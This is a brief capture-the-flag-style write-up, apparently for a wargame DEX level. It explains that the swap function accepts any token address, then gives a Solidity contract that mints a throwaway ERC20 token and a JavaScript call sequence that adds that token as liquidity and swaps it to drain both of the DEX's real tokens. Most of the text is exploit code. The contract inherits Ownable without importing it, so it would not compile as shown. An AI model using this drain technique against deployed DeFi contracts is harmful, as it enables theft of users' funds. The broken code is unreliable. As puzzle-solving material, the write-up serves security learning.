this swap
function doesn't check if from
or to
are the tokens of the dex so we can mint some other token3
, add liquidity to the dex and then swap token3
for token1
and token2
.
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract FrulaCoin is ERC20, Ownable {
constructor() ERC20("FrulaCoin", "FRU") {
_mint(msg.sender, 1000000 * 10 ** decimals());
}
}
const token1 = await contract.token1();
const token2 = await contract.token2();
const token3 = '<contract address>';
await contract.add_liquidity(token3, 100);
await contract.swap(token3, token1, 100);
await contract.swap(token3, token2, 200);